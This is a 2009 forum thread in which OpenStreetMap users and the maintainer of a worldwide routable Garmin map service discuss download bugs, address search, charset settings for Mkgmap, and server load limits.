I hope to generate new maps every week, but as this still requires a lot of manual work it I'm a busy person the updates might come later sometimes.
2) It seems that if I ask my GPS (etrex legend hcx) to guide me to a place in another tile (with respect to the one where I stand), the suggested route ignores the roads of the other tile but only takes into account the default set of highways defined in the coarse map built in the GPS memory. Is there a way to force a GPS to use the data from all tiles and ignore default coarse map data?
From the Mkgmap mailinglist I understand there are some problems with exits from different maps to other maps and back. Perhaps this weeks build will fix this as it uses a new Mkgmap version.
MikeBike wrote:
I downloaded a chosen worldwide routable map (parts of netherland and germany), great service, but although they are routable, I cannot route with adresses, most adresses, including city moenchengladbach, are not found. Why ? When it is possibel to route about the street, and streetname is shown on the map, why is it not possible to find adresses, or the streetname for routing ?
The displaying of streetnames is completely different from searching streetnames in a Garmin image. The searching is being implemented at this moment and should be present in the new maps I'm creating now but may be buggy. Wait a few days for the new maps to come online.
- Re: Worldwide routable Garmin maps: URL REMOVED · MikeBike (Gast) · 26.03.2009 08:06 · [flux]
Thank You for answering. Yesterday I installed the mapsource exe file. Very nice and simple. The osm-data and its users, the lots of free software and maps, show me , that it is possible and really an alternative to commercial maps. Most osm-maps are more actual and on top for free, admitting with bugs and less routing possibilities, but it is in a constant upgrade-process.
On your map, there are no different colours for e.g. the northsea on my garmin oregon, only a blue borderline. So you cannot simply recognize the sea. Therefore I tried to install a separate TYP-file with MAPSetToolKit, but it is not possible. Can you help me ? - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 26.03.2009 09:43 · [flux]
There are problems with coastlines in the map making process at the moment, so it might not be a rendering problem which you could fix with a TYP file. I've not played with TYP files yet so i cannot help you there, but I know the TYP file has a family name which should match the family name of the map. I'm going to add an (optional) TYP file to the maps soon, hopefully.
- Re: Worldwide routable Garmin maps: URL REMOVED · der_Frida (Gast) · 28.03.2009 19:09 · [flux]
Hi Lambertus,
first: Thank you for your service "the routable world" 🙂
I've downloaded the usa a few days ago and I will test it when I get a bigger sd card 🙂 Today I've downloaded germany. The generated map are not to big, so I've put it on my garmin directly, but I could'nt see anything. The map view is empty while the map is activated. Ok thougt I try some single tiles. I had selected a tile, then a link was shown for download. I have downloaded the "63240081.img" and renamed it to "gmapsupp.img" after putting it on my garmin nothing was shown 🙁
And the reason is
<!DOCTYPE␣HTML␣PUBLIC␣"-//IETF//DTD␣HTML␣2.0//EN"> <html><head> <title>404␣Not␣Found</title> </head><body> <h1>Not␣Found</h1> <p>The␣requested␣URL␣/~lambertus/garmin/routable/63240081.img␣was␣not␣found␣on␣this␣server.</p> <hr> <address>Apache/2.2.3␣(CentOS)␣Server␣at␣93.186.179.76␣Port␣80</address> </body></html>
Is it a status during the weekly synchronization with OSM?
Bye,
Frida - Re: Worldwide routable Garmin maps: URL REMOVED · Seldom (Gast) · 29.03.2009 00:42 · [flux]
This doesn't address the missing files issue, but you can't normally rename an IMG file to gmapsupp.img. A gmapsupp.img has added information, and may combine multiple IMG files into a single gmapsupp.img.
You'll probably need to use something like MapSource, or Sendmap 2.0, or an OSM installer.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 29.03.2009 10:01 · [flux]
No, I'm sorry. I tried to make my life a bit easier for updating the maps Friday evening by changing the website and the software on the server a bit. But unfortunately I introduced a few major bugs, which I thought I had fixed that night (it became an 'awake all night' operation). But yesterday evening, when I checked if everything was still ok, I noticed that one bug was still there: it removed the source tiles from which the combined tiles are created when the combine request finished. So if one user requested a tile then the next would not be able to use it.
Because I am away most of this weekend I cannot fix the problem, and also a new set of maps has to be created to replace the ones that were deleted. This will take a few days as a result of that. Again, sorry for the inconvenience.
Regarding the gmapsupp.img: you cannot rename a Garmin tile (e.g. 63240081.img) to the mapset gmapsupp.img and expect it works on the Garmin. There is a fundamental difference between a map tile and a mapset.
- Re: Worldwide routable Garmin maps: URL REMOVED · der_Frida (Gast) · 29.03.2009 11:33 · [flux]
Lambertus wrote:
No, I'm sorry. I tried to make my life a bit easier for updating the maps Friday evening by changing the website and the software on the server a bit. But unfortunately I introduced a few major bugs, which I thought I had fixed that night (it became an 'awake all night' operation).
<joke>I suggest to book an extermintor</joke> 😉 It's no reason to apologize to us. What kind of project is Garmin Maps? Which languages are used? Is it a one man show?
Because I am away most of this weekend I cannot fix the problem, and also a new set of maps has to be created to replace the ones that were deleted. This will take a few days as a result of that. Again, sorry for the inconvenience.
Have a nice weekend and thanks for your (Seldom/Lambertus) responses.
Regarding the gmapsupp.img: you cannot rename a Garmin tile (e.g. 63240081.img) to the mapset gmapsupp.img and expect it works on the Garmin. There is a fundamental difference between a map tile and a mapset.
Mhmm... I've downloaded one single tile a few days ago and after renaming and putting it on the device it was working fine. I was surprised by the details 🙂 Sounds like a hidden feature or luck? I will retry that as soon as the service works again.
Bye,
Frida - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 30.03.2009 13:35 · [flux]
der_Frida wrote:
What kind of project is Garmin Maps? Which languages are used? Is it a one man show?
The Garmin maps are created using Mkgmap and Splitter, both of which are opensource tools. The website and scripts to combine the maps are written in PHP and are my work, and is where the problem lies currently.
Mhmm... I've downloaded one single tile a few days ago and after renaming and putting it on the device it was working fine. I was surprised by the details 🙂 Sounds like a hidden feature or luck? I will retry that as soon as the service works again.
Maybe I misunderstood the differences between gmapsupp.img and a single tile, but I thought it was not possible to just rename the file and expect it to work. Would be nice if it could though..
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 01.04.2009 20:38 · [flux]
I finally found some time to fix the bugs, but I still don't have a complete map. I've started a new map building process. This will take about one day to complete...
- Re: Worldwide routable Garmin maps: URL REMOVED · der_Frida (Gast) · 02.04.2009 11:22 · [flux]
Lambertus wrote:
I finally found some time to fix the bugs, but I still don't have a complete map. I've started a new map building process. This will take about one day to complete...
I'm available for testing 😉
Thank you & Bye,
Frida - Re: Worldwide routable Garmin maps: URL REMOVED · Groundspeak (Gast) · 02.04.2009 12:59 · [flux]
I'm not sure if this is the time or the place but I just wanted to say a very, very big "thank you" for your work on the routable Garmin map (at http://garmin.na1400.info/routable.php). It is much appreciated.
Cheers ! 🙂 - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 02.04.2009 15:00 · [flux]
Hehe, well I screwed things up quite badly last Friday but it's coming together quite nicely now so I hope to have new maps somewhere this evening (CET).
I love to see it being used again and see enthusiastic responses on this and other forums like GroundSpeak. Projects like this can bring OpenStreetMap much needed publicity to an audience to whom they would normally not come in contact.
Der_Frida, if you want me to contact you then please add an email address to your forum profile.
Update: I have no idea what's going on, but some of the recently generated maps cause MapSource to crash (at least version 6.13.7). Somehow it seems that this just doesn't want to work... 🙁
Update: The tiles that crash MapSource work fine on my GPS so I leave them on the server and add a warning on the website. If MapSource crashes because of a bad tile then the popup will list the name of that file. You can safely delete that file and restart MapSource. It will not harm your computer or MapSource installation permanently 🙂
Update: I added cache prevention for the KML files, so the browser always loads the latest version.
- Re: Worldwide routable Garmin maps: URL REMOVED · John Serafin (Gast) · 03.04.2009 17:31 · [flux]
I found the http://garmin.na1400.info/routable.php web site a couple of weeks ago. I downloaded some individual tiles and made a gmapsupp.img file with mkgmap, which worked great in a Garmin Ique 3600 and a Garmin 60CSx.
I wanted to check some modified and new POIs and roads, so I have been waiting for the tile generation bugs to be fixed. Today I have been getting "Not found" error messages when I try to download an individual tile ( tried several tiles from USA and Europe so far).
Example: http://planetosm.oxilion.nl/~lambertus/ … 240012.imgI then tried the "Build maps" button and downloaded the zip file with gmapsupp.img, that img is not
recognized in either the Ique 3600 or the 60CSx.I want to thank Lambertus for this wonderful capability to download a routable garmin map for anywhere in the world with the latest OSM data!
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 03.04.2009 18:08 · [flux]
John Serafin wrote:
I found the http://garmin.na1400.info/routable.php web site a couple of weeks ago. I downloaded some individual tiles and made a gmapsupp.img file with mkgmap, which worked great in a Garmin Ique 3600 and a Garmin 60CSx.
Ha, that is.... an option 🙂
I wanted to check some modified and new POIs and roads, so I have been waiting for the tile generation bugs to be fixed. Today I have been getting "Not found" error messages when I try to download an individual tile ( tried several tiles from USA and Europe so far).
Example: http://planetosm.oxilion.nl/~lambertus/ … 240012.imgThat is a bug that I hadn't found yet...thanks for reporting it.
I then tried the "Build maps" button and downloaded the zip file with gmapsupp.img, that img is not
recognized in either the Ique 3600 or the 60CSx.This is strange, because it works on my 60CSx. Did you extract the img from the zip and placed that img in the /Garmin folder on the SD-card?
I want to thank Lambertus for this wonderful capability to download a routable garmin map for anywhere in the world with the latest OSM data!
You are welcome!
- Re: Worldwide routable Garmin maps: URL REMOVED · John Serafin (Gast) · 03.04.2009 19:36 · [flux]
Lambertus wrote:
"This is strange, because it works on my 60CSx. Did you extract the img from the zip and placed that img in the /Garmin folder on the SD-card?"Doh! Of course I unzipped, but I was using a fresh microSD card (that came with the 60CSx) and forgot
to make a garmin folder.I forget whether I requested tiles from California or France, but it seems that what I got seems to be from
Poland.The tile layout on the world map seems to have very nearly the same sizes and layout as before, but the
tile numbers are very different. - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 03.04.2009 20:53 · [flux]
Again you found a bug, this time in the map making process where the maps from America are renamed from 6xxxxxxx.img to 7xxxxxxxx.img in order to avoid naming conflicts with the other tiles. This works fine, but I forgot to rename those numbers in the KML used for the website as well.
It's fixed now. Sorry.
- Re: Worldwide routable Garmin maps: URL REMOVED · der_Frida (Gast) · 03.04.2009 20:57 · [flux]
Yehaaa... I've downloaded whole Germany and put it on my device and everything works fine. I think the major bugs are fixed.
Thanks & have a nice weekend.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 04.04.2009 09:18 · [flux]
Hi Lambertus,
I tried to install the routable maps of the centre of NL, but they keep crashing in mapsource:
tiles 63240105 and 63240103, I use mapsource 6.13.7 - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 04.04.2009 13:17 · [flux]
ligfietser wrote:
Hi Lambertus,
I tried to install the routable maps of the centre of NL, but they keep crashing in mapsource:
tiles 63240105 and 63240103, I use mapsource 6.13.7That's indeed what the red line on top of the webpage says. It's probably because you are lucky to live in one of the most densely mapped areas in the world. This is probably a bug in Mkgmap, I'm trying to debug it.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 04.04.2009 14:46 · [flux]
Lambertus wrote:
That's indeed what the red line on top of the webpage says. It's probably because you are lucky to live in one of the most densely mapped areas in the world. This is probably a bug in Mkgmap, I'm trying to debug it.
I also downloaded from http://www.team-oid.de/garmin_maps/ the maps of NL, which are routable and working so it should be possible. Those maps produce weird errors however on my Garmin Etrex, like in case of a left turn the direction on the screen shows a right turn-off, navigation on motorways for cyclists etc. so I wonder how your maps were doing. 😎
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 04.04.2009 14:59 · [flux]
My maps are currently also leading cyclists onto a motorway for longer routes unfortunately. I have already reported this behavior to the Mkgmap dev list.
Regarding the maps that crash MapSource: I guess it's a question of luck if a tile causes it, because when I split the world again it might be that that area isn't causing the problem that time. For example: in my previous version the north scandinavian tile caused MapSource to crash, I don't know if it still does with this version.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 05.04.2009 22:44 · [flux]
Some map requests have failed today because the server harddisk was full. The problem has been resolved, but many unique and very large requests within 48 hours can trigger this again. I deleted directories with partial or completely failed builds. Please request again if your download link gives an "404 - Page not found" error.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 07.04.2009 16:44 · [flux]
Well, my next f*ckup has happened: I modified the cleanup script a bit which accidentally caused it to remove all combine request results. So if you happen to get a 404, page not found error, you will have to do your request again. Sorry for the inconvenience.
- Re: Worldwide routable Garmin maps: URL REMOVED · gernot (Gast) · 08.04.2009 18:10 · [flux]
Hi Lambertus!
First of all, I'm for sure the next one in the row to say thanks to your great service! :-D
But as always, I also have a question to you...
About two weeks ago, you told some people to wait for your next map update to see if address search might work now. Therefore, I tried a map request for Germany today (finished in less than one hour, wow!) and tested the gmapsupp.img on my GPSMap 60Cx and my Nüvi 760TFM.
On both, only searching for streets seems to work, but not searching for cities. The Nüvi simply finds nothing when looking for a city while the GPSMap opens a very long list of towns, but tells me "nothing found" as soon as I only enter one letter.
(On the GPSMap, you can sometimes find an address by the following process: enter some "number" in the first field, enter the street name in the 2nd field and leave the city field empty. Now you should get a list of the named street in different cities - however, this list seems to be quite incomplete.)
So two questions:
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Was someone (probably you?) successful with the address search with the current maps?
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Which mkgmap snapshot do you exactly use? It would be great service if you could always announce the currently used SVN revision on the web site so one can see what the cards should provide...
Thanks again!
Gernot
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Was someone (probably you?) successful with the address search with the current maps?
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 08.04.2009 19:19 · [flux]
Not everyone is technical enough to keep an eye on the Mkgmap SVN repository so I don't think it's useful to add the Mkgmap SVN version on the website. I try to use the latest (or one of the latest) Mkgmap versions available.
Address search:
Regarding searching for streetnames and addresses, I found the following on the Mkgmap mailinglist. (Afaik, this does not work for nüvi owners yet):
It does work with some known limitations.
1 - you need to enter a number or at least make the field blank. Otherwise, no addresses will be shown.
2 - the incremental search for city names does not work.
3 - incremental search doesn't work for road names consisting of only digits
Does this help you?
Please note that routing and especially looking up addresses is considered beta in Mkgmap, so don't expect it to work flawlessly. I'm sure quality will improve in time.
- Re: Worldwide routable Garmin maps: URL REMOVED · gernot (Gast) · 08.04.2009 20:30 · [flux]
Well, I can't really follow your first argument. Including the SVN release would help people like me to see if you already use the latest one or if I have to test on my own. And it won't disturb others who don't understand what an SVN release is all about. Anyone out there should have a rough understanding about the concept of versions, so why should it confuse people? And if e.g. people using your maps will complain at the mkgmap people they can at least include some needed information. I don't see why this hurts anyone.
If it's too laborous for you, I can certainly understand, though... :-)
About the limitations: that's really great, thanks! I never tried entering the *full* city name. Now that works great for some cities - probably those ones which have the borders mapped in a correct fassion. However, I'm not able to search for cities with German Umlauts like München. :-(
But I think I'll check the missing bits with the mkgmap people directly.
Thanks for your quick answer and keep up the great work!!
- Re: Worldwide routable Garmin maps: URL REMOVED · weolvi (Gast) · 08.04.2009 21:15 · [flux]
Lambertus wrote:
I don't think it's useful to add the Mkgmap SVN version on the website.
Maybe not on the web site but you could add that somewhere in the dataset description, such as "OSM map (r991)". This might help to find bugs in mkgmap when somebody identifies a special case in a specific map version.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 09.04.2009 10:38 · [flux]
Ok, an extra file 'mkgmap.version' will be available in the webdirectory listing the mkgmap version. Is that good enough?
- Re: Worldwide routable Garmin maps: URL REMOVED · weolvi (Gast) · 09.04.2009 11:27 · [flux]
Lambertus wrote:
Ok, an extra file 'mkgmap.version' will be available in the webdirectory listing the mkgmap version. Is that good enough?
This will be gone after 48 hours. I think it should be linked to the maps in a way that one can always identify the version information. Currently the automatically generated gmapsupp.img is listed as "family name" on my GPS. This string could for instance read "OSM (date) (version)", giving both the date of the OSM data and the mkgmap version.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 09.04.2009 13:46 · [flux]
You're not satisfied easilly, are you? 😛 Well, I'll see what I can do...
- Re: Worldwide routable Garmin maps: URL REMOVED · WanMil (Gast) · 09.04.2009 21:34 · [flux]
Hi Lambertus, very very good service!! I like it very much because my tries to create large routable maps failed due to less RAM...
From my opinion you could reduce the space problem, if you either give the user a button "Ready - maps can be deleted on server" or you could automatically remove the maps e.g. 3 hours after the first completed download.
(A nice improvement would be a selection of different typ files, e.g. one for cars, one for bicycles etc.)
- Re: Worldwide routable Garmin maps: URL REMOVED · mtrax (Gast) · 09.04.2009 21:42 · [flux]
WanMil wrote:
From my opinion you could reduce the space problem, if you either give the user a button "Ready - maps can be deleted on server" or you could automatically remove the maps e.g. 3 hours after the first completed download.
I think it will ok just to reduce time from to 30hrs... 3 hours is too short as I download my file offpeak which is usually 5-8 hrs later.
I think having some "pre-generated" files would reduce the need for some request. - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 10.04.2009 09:08 · [flux]
WanMil wrote:
From my opinion you could reduce the space problem, if you either give the user a button "Ready - maps can be deleted on server" or you could automatically remove the maps e.g. 3 hours after the first completed download.
I now have a script that will automatically delete old directories. I use the map id's to produce a MD5SUM so that I can reuse existing directories for multiple users. I'm still determining if this is really helpful and also which resource I need the most (e.g. disk space vs. CPU time). It is too early to say what is most important.
(A nice improvement would be a selection of different typ files, e.g. one for cars, one for bicycles etc.)
Yes, I'm also thinking about making a lot of the Garmin parameters configurable so that you can install multiple maps in MapSource and allow users to upload and use their own TYP files. This takes time however, and I also desperately need some time for myself and my GF so I'm going to let things be for a while.
- Re: Worldwide routable Garmin maps: URL REMOVED · endlessjourney (Gast) · 10.04.2009 09:27 · [flux]
Hello!
First of all, a big 'thank you' for your efforts, and along with you, to all the contributors of OSM.
Now, the problems 🙂
I just downloaded a map for Romania (I received the link around 20:20, on April 8th), and the East-European fonts are displayed as question marks (e.g. instead of Orăştie I get Or??tie). I am quite new to all this, but I could use some suggestions. Should I compile the maps myself and add certain switches to include font support?Thanks!
P.S. The link is http://planetosm.oxilion.nl/~lambertus/ … a32222973/
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 10.04.2009 10:14 · [flux]
endlessjourney wrote:
Should I compile the maps myself and add certain switches to include font support?
If you are willing to do some tests to find out which parameters are needed for the build process then that would be great!
For the current maps I used the Mkgmap parameters --utf8 and --code-page=1252. These last parameter is apparently needed to get it working on the Garmin Mobile XT. I added the first parameter just to avoid the problems you're encountering....
- Re: Worldwide routable Garmin maps: URL REMOVED · Tric (Gast) · 10.04.2009 11:20 · [flux]
Hi Lambertus, I love your service! Thanks a lot.
I still have some questions: Would it be difficult to add some different style or type of the map to select?
1. I can hardly see buildings because they are brown, like the background of the map and therefore i would prefer grey buildings.
2. When mapping some points are not shown (i.e. traffic_signals) it would be great if I could see them on the map, because the live checking if the map is complete would be much easier.
3. Or if you could a special mapping map which emphasize thing which need an update (like unamed highways).
4. To see contour lines for the high (hiking maps) would be a nice option in the lowest zoom level.
5. I would like to have the diving spots shown on the map (sport=diving) because it would be easier to find them.Now I'm going to install the latest map to my Garmin60CSx. Thanks a lot that this is now easy!
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 10.04.2009 11:40 · [flux]
Tric wrote:
Would it be difficult to add some different style or type of the map to select?
Answer:
Lambertus wrote:
Yes, I'm also thinking about making a lot of the Garmin parameters configurable so that you can install multiple maps in MapSource and allow users to upload and use their own TYP files. This takes time however, and I also desperately need some time for myself and my GF so I'm going to let things be for a while.
I don't know if all you requests can be implemented (by me at least). Things like diving spots are something that needs to be implemented in Mkgmap.
- Re: Worldwide routable Garmin maps: URL REMOVED · WanMil (Gast) · 10.04.2009 22:15 · [flux]
Hi Lambertus, I love the routable feature very much!
Today I noticed that phone cells are visible in a quite low resolution on my Garmin Oregon in which I don't expect POIs to be displayed. I think that's a mistake? Can you please check this?
And one more: Roundabouts are rendered with a higher level than usual streets, e.g. the roundabout and connected streets are highway=unclassified. The streets are rendered grey whereas the roundabout is orange.
Thanks!!
- Re: Worldwide routable Garmin maps: URL REMOVED · pberck (Gast) · 12.04.2009 06:24 · [flux]
Are the roadtrip versions working for everybody? I submitted a request yesterday, the MapSource and gmapsupp versions are approx. 280 MB, and the Roadtrip version is only 87 MB. It seems to contain only one of the tiles...
- Re: Worldwide routable Garmin maps: URL REMOVED · dyonysos99 (Gast) · 12.04.2009 17:32 · [flux]
Good job Lambertus, it's a very nice initiative and great alternative for maps!!!
I've been reading a lot of posts and I also tested some maps from http://garmin.na1400.info/routable.php during the last few weeks. I red that the routable maps are working now and that the feature of searching by address is supposed to work also. I tested that on my Nuvi 650 and the map is displayed on my unit very well.
The problem is that it's impossible to search by address, although I can search by city. I have a North American Nuvi (US+Canada) and I have tried with the map tile from Rome, Italy. When I try searching an address in Rome, the Nuvi asks me to enter a State (from the US) so it is impossible to start searching.
I did not have that problem with the free maps from Argentina developped with a similar concept as OSM (www.proyectomapear.com.ar). In that case, the Nuvi was asking in what country I was and Argentina appeared as a choice for address search. I don't know if they included an extra feature in their maps.
Is searching by addresses something that will be developped in the future or is there something I have done wrong? (I did the installation trough MapSource with the .exe file and I also tried to disable my North American maps on the unit but wihout success)
Let me know if you have a solution for that, on my part I will try other options and let you know if I find a way to make it work.
Thanks and keep the good work!
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 12.04.2009 18:51 · [flux]
WanMil wrote:
Today I noticed that phone cells are visible in a quite low resolution on my Garmin Oregon in which I don't expect POIs to be displayed. I think that's a mistake? Can you please check this?
And one more: Roundabouts are rendered with a higher level than usual streets, e.g. the roundabout and connected streets are highway=unclassified. The streets are rendered grey whereas the roundabout is orange.
Both items are really things that should be fixed in the stylesheet of Mkgmap.
pberck wrote:
Are the roadtrip versions working for everybody? I submitted a request yesterday, the MapSource and gmapsupp versions are approx. 280 MB, and the Roadtrip version is only 87 MB. It seems to contain only one of the tiles...
They should be functional and mostly the size of the RoadTrip installer is about equal to the other files.
One reason why yours doesn't might be because the server disk was temporary full. It's a constant struggle to keep enough space available for every service that's running on it. The Garmin maps are in high demand but require a lot of disk space. A cleanup script is running but might not be able to keep enough space available.
Can you post the download URL so I can check it out?
dyonysos99 wrote:
I've been reading a lot of posts and I also tested some maps from http://garmin.na1400.info/routable.php during the last few weeks. I red that the routable maps are working now and that the feature of searching by address is supposed to work also. I tested that on my Nuvi 650 and the map is displayed on my unit very well.
The problem is that it's impossible to search by address, although I can search by city. I have a North American Nuvi (US+Canada) and I have tried with the map tile from Rome, Italy. When I try searching an address in Rome, the Nuvi asks me to enter a State (from the US) so it is impossible to start searching.
Have you seen this post and tried the suggested solution in there?
I did not have that problem with the free maps from Argentina developped with a similar concept as OSM (www.proyectomapear.com.ar). In that case, the Nuvi was asking in what country I was and Argentina appeared as a choice for address search. I don't know if they included an extra feature in their maps.
Mkgmap is an OSM specific Garmin map compiler and must learn the find address function. Some parts of the Garmin map format are publicly known, other parts not. I guess the Argentina map makers have found out how the address search works.
Is searching by addresses something that will be developped in the future or is there something I have done wrong? (I did the installation trough MapSource with the .exe file and I also tried to disable my North American maps on the unit but wihout success).
As said earlier, the address search is a beta feature. It will become better in the future.
- Re: Worldwide routable Garmin maps: URL REMOVED · pberck (Gast) · 12.04.2009 21:50 · [flux]
Lambertus wrote:
pberck wrote:
Are the roadtrip versions working for everybody? I submitted a request yesterday, the MapSource and gmapsupp versions are approx. 280 MB, and the Roadtrip version is only 87 MB. It seems to contain only one of the tiles...
They should be functional and mostly the size of the RoadTrip installer is about equal to the other files.
One reason why yours doesn't might be because the server disk was temporary full. It's a constant struggle to keep enough space available for every service that's running on it. The Garmin maps are in high demand but require a lot of disk space. A cleanup script is running but might not be able to keep enough space available.
Can you post the download URL so I can check it out?
No problem: http://planetosm.oxilion.nl/~lambertus/ … 2cb623e403
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 12.04.2009 22:48 · [flux]
Well, it looks like the disk wasn't full at the time your request was processed. It could be that the RoadTrip script is a bit too sensitive to errors like missing tiles (You included some missing tiles in your request) and simply gives up. I'll look into that.
- Re: Worldwide routable Garmin maps: URL REMOVED · pberck (Gast) · 13.04.2009 07:27 · [flux]
Lambertus wrote:
Well, it looks like the disk wasn't full at the time your request was processed. It could be that the RoadTrip script is a bit too sensitive to errors like missing tiles (You included some missing tiles in your request) and simply gives up. I'll look into that.
Yeah, I saw there were missing tiles, but I decided to try it anyway 🙂
-peter
- Re: Worldwide routable Garmin maps: URL REMOVED · KaChing_Cacher (Gast) · 14.04.2009 11:41 · [flux]
Excellent work, that page!
Already downloaded Germany and put the gmapsupp file on my Vista HCx,
looks fine, the only thing is that the sea has the same color as the land,
only the coastline is blue. - Re: Worldwide routable Garmin maps: URL REMOVED · stevebiker (Gast) · 17.04.2009 08:45 · [flux]
Hi Lambertus,
thank you for your use! Unfortunately, I understand something not.If I download a region, the card is not as current, as shown on the website! Why? Thanks for the information in advance,
Gruß, Stefan - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 17.04.2009 09:02 · [flux]
stevebiker wrote:
Hi Lambertus,
thank you for your use! Unfortunately, I understand something not.If I download a region, the card is not as current, as shown on the website! Why? Thanks for the information in advance,
Gruß, StefanThe website is updated on a daily basis while these Garmin maps are updated once a week. In a worst case scenario it is possible that a change in the OSM database will be visible on the Garmin map after two weeks.
- Re: Worldwide routable Garmin maps: URL REMOVED · stevebiker (Gast) · 17.04.2009 10:34 · [flux]
Thank you for the quick reply. Hm, I have a file on 12.04.09 and the other loaded today. On the website was linked to two days, the current map, as the downloaded file. So it says in 2 weeks to try again?
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 17.04.2009 11:32 · [flux]
If you uploaded the change to the OSM database before last wednesday then the change should be in the Garmin maps that will be released next week. If you uploaded after last tuesday then you will have to wait at least a week before the change is visible in the Garmin map.
- Re: Worldwide routable Garmin maps: URL REMOVED · stevebiker (Gast) · 17.04.2009 11:46 · [flux]
But the changes (roads, pathways) are shown on the map on the website already exists. Only in the downloaded map, they are absent. But still I wait 2 weeks. Thank you.
- Re: Worldwide routable Garmin maps: URL REMOVED · Sven S_ (Gast) · 18.04.2009 09:43 · [flux]
Der Findemechanismus für die Garminkarten funktioniert schon, aber beim errechne der Route stürzt mein Edge 705 und GPSMAP60CX ab.
Da muß es einen Fehler geben.The Findingmechanism for Adresses seems to work, but my Edge705 und GPSMAP60CX is freezing when it calculates the Route to the Adress.
This should be a BugGruß Sven S.
- Re: Worldwide routable Garmin maps: URL REMOVED · endlessjourney (Gast) · 24.04.2009 07:46 · [flux]
Concerning the Romanian characters; sorry for the long delay.
Lambertus wrote:
endlessjourney wrote:
Should I compile the maps myself and add certain switches to include font support?
If you are willing to do some tests to find out which parameters are needed for the build process then that would be great!
For the current maps I used the Mkgmap parameters --utf8 and --code-page=1252. These last parameter is apparently needed to get it working on the Garmin Mobile XT. I added the first parameter just to avoid the problems you're encountering....
What works for me is
--xcode-page=1250 --charset=windows-1250
However, another problem arises: there are some cases where the same letter is represented with two different characters from two different encodings: for instance there is s with cedilla in ISO 8859-2 (latin-2 or codepage 1250) and s with comma underneath in ISO 8859-16 (latin-10). And guess what: they are both present on the OSM maps of Romania. I could find a workaround by replacing in a hex editor latin-10 characters with latin-2 (I used the OSM format), and the result looks well on my nüvi 255. Maybe this replacement could be done directly in mkgmap.And for the maps on your server, maybe it is better in this case to leave mkgmap make the conversion to ASCII, it is easier to read a map where is written "Manastur" instead of "M?n??tur". Can your script do this only for the tiles concerned?
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 24.04.2009 08:43 · [flux]
endlessjourney wrote:
Concerning the Romanian characters; sorry for the long delay.
Lambertus wrote:
endlessjourney wrote:
Should I compile the maps myself and add certain switches to include font support?
If you are willing to do some tests to find out which parameters are needed for the build process then that would be great!
For the current maps I used the Mkgmap parameters --utf8 and --code-page=1252. These last parameter is apparently needed to get it working on the Garmin Mobile XT. I added the first parameter just to avoid the problems you're encountering....
What works for me is
--xcode-page=1250 --charset=windows-1250
However, another problem arises: there are some cases where the same letter is represented with two different characters from two different encodings: for instance there is s with cedilla in ISO 8859-2 (latin-2 or codepage 1250) and s with comma underneath in ISO 8859-16 (latin-10). And guess what: they are both present on the OSM maps of Romania. I could find a workaround by replacing in a hex editor latin-10 characters with latin-2 (I used the OSM format), and the result looks well on my nüvi 255. Maybe this replacement could be done directly in mkgmap.And for the maps on your server, maybe it is better in this case to leave mkgmap make the conversion to ASCII, it is easier to read a map where is written "Manastur" instead of "M?n??tur". Can your script do this only for the tiles concerned?
All those different charsets, they really give me a headache 🙁 So it appears that the correct charset for each Garmin device/software may vary which would make it really difficult to make maps for.
It is possible to specify different mkgmap parameters for each file, but I'm afraid that there is just no single perfect setting for each tile like you describe. Question as I'm not an expert on charsets; would it be possible to enforce a definitive charset in the OSM database? I assume mkgmap is not the only application encountering this problem...
What could be a workaround is to use the mkgmap option to prioritize the name tag so that the 'int_name' value will be chosen over the 'name' value so that the maps become internationally usable, e.g.
--name-tag-list=int_name,name:en,name
Offtopic rant:
What's up with German speaking people's state of mind in general? Every time a really large request is made (like all of Africa and Europe and Asia or the America's or even the whole world) and I check the email address it's bound to be one that ends with .de or .at or .ch. Currently there is even one German requesting the whole world three times but with minor differences. This causes enormous delays for users that also want to download just a few tiles. Are they traveling so often and far to really need all those tiles?There's a notice on the top of the website for over a week that asks users to restrain themselves, but if this behavior continues then i'll have to implement tilecount limits or take the site down because of excessive bandwidth usage. So again, please download only what you really need...
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 25.04.2009 10:28 · [flux]
I had to add a limit on the number of tiles unfortunately, it is really needed if this service is to last any longer. There are so many users requesting e.g. all of Europe, Asia, Oceania and Africa combined that storage is a permanent problem and bandwidth usage is excessive.
I'm really sorry I had to do this but there are simply too many people who are apparently going on a journey around the world.
- Re: Worldwide routable Garmin maps: URL REMOVED · Willem1 (Gast) · 25.04.2009 11:52 · [flux]
Is it possible for you then to create a Garmin map of the whole world, which can be downloaded separately?
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 25.04.2009 11:58 · [flux]
Willem1 wrote:
Is it possible for you then to create a Garmin map of the whole world, which can be downloaded separately?
In gmapsupp.img format or for MapSource/RoadTrip? Are Garmin GPS devices capable of loading the whole world anyway?
- Re: Worldwide routable Garmin maps: URL REMOVED · rullzer (Gast) · 25.04.2009 12:17 · [flux]
A more relevant question would be: "Why would you really need the whole world?"
